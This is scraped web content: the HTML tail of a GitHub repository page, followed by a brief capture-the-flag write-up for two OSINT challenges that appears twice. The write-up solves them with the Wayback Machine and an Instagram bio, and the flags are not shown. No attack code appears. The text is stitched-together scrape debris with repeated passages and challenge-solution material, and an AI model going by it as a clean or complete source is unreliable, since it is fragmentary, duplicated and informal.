</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>resource</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>crypto.md</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
---layout: default---# OSINT
## TIME KEEPER

As the ques name and description suggest that something was changed on the site so I used [wayback](https://web.archive.org/) to see the changes and I found this.

After open the url we got the flag .

## FINSTA
nahamcontron sa name was given.
As problemname clearly indicates to instagram, so I searched on instagram and found the flag in the bio
>easy peasy :)
 |
---layout: default---# OSINT
## TIME KEEPER

As the ques name and description suggest that something was changed on the site so I used [wayback](https://web.archive.org/) to see the changes and I found this.

After open the url we got the flag .

## FINSTA
nahamcontron sa name was given.
As problemname clearly indicates to instagram, so I searched on instagram and found the flag in the bio
>easy peasy :)
 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.